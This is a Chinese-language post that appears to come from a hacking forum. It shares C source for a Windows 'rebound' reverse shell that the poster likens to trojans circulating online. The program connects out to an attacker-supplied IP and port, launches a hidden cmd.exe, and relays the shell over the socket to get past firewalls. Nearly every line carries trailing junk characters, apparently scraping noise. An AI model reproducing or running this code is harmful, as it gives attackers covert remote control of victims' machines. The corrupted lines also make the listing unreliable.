这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 /X8a3Eqp9
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/* ============================== m?-)SA
Rebound port in Windows NT w+m7jn!$
By wind,2006/7 5N9Cd[4
===============================*/ 3P_.SF
#include 1@Ba7>%'
#include H c/7x).
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#pragma comment(lib,"wsock32.lib") h!B{7J
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void OutputShell(); NK-}[!f
SOCKET sClient; v9T3=
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; hyxv+m[
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void main(int argc,char **argv) B"v*[p?
{ mbAzn
WSADATA stWsaData; ~#gc{C@
int nRet; $#^3>u
SOCKADDR_IN stSaiClient,stSaiServer; U" @5R[=F-
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if(argc != 3) c[J 2;"SP
{ fwppqIM
printf("Useage:\n\rRebound DestIP DestPort\n"); CW;zviH5
return; U/c+j{=~
} &4E|c[HN
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WSAStartup(MAKEWORD(2,2),&stWsaData); c |%5SA
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); S5|7D[*
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stSaiClient.sin_family = AF_INET; #h.N#{9
stSaiClient.sin_port = htons(0); Eq@sU?j
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); R14&V1 tZ
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Gn7\4,C
{ mq{Z
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printf("Bind Socket Failed!\n"); )t~ad]oM
return; Tw \@]fw
} HubG>]
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stSaiServer.sin_family = AF_INET; ~vP_c(8f
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); f*@
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stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); qX&+
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) `LH 9@Z{
{ t:dvgRJt*
printf("Connect Error!"); QAI=nrlp
return; ,T;sWl
} S|d /?}C|e
OutputShell(); d%@0xsU1
} VK4UhN2
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void OutputShell() "P.sKhuo
{ [6@bsXiw
char szBuff[1024]; Sw$&E
SECURITY_ATTRIBUTES stSecurityAttributes; [1~3\-Y
OSVERSIONINFO stOsversionInfo; %B&O+~
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; .KYs5Qu
STARTUPINFO stStartupInfo; +%CXc%
char *szShell; *3^7'^j<
PROCESS_INFORMATION stProcessInformation; H94_a e
unsigned long lBytesRead; OL=X&Vaf<
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); oe6Ex5h
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); va~:Ivl-)
stSecurityAttributes.lpSecurityDescriptor = 0; 7|Vpk&.>
stSecurityAttributes.bInheritHandle = TRUE; @"cnPLh&
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ~+6#4<M.~
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); C&q}&=3r
R||$Wi[$
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); [L7S`Z
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ev#,}l+
stStartupInfo.wShowWindow = SW_HIDE; W9Us I
stStartupInfo.hStdInput = hReadPipe; bil>;&h
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 7ey|~u2
( 3,7
GetVersionEx(&stOsversionInfo); }+ W5Snx
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switch(stOsversionInfo.dwPlatformId) m:EYOe,w
{ ")boY/ P/w
case 1: q89yW)XG
szShell = "command.com"; a"+VP>4
break; b6 g9!
default: 4&]NC2I
szShell = "cmd.exe"; GNG.N)q#C
break; Q2|6W E
} @8YuMD;
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ,g P;XRe1
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send(sClient,szMsg,77,0); EZ Q!~
while(1) q9(O=7O]-
{ 5W{|?l{
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); s5b<KQ.
if(lBytesRead) ?#5)TAW
{ b9f5
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 11J:>A5zt
send(sClient,szBuff,lBytesRead,0); oOQan
} r|jBKq~
else qyIy xJ
{ 6{Bvl[mhI
lBytesRead=recv(sClient,szBuff,1024,0); M~sP|Ha"+
if(lBytesRead<=0) break; gi
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WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); BZQJ@lk5
} c1]\.s
} a`||ePb|W~
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return; "Q23s"
}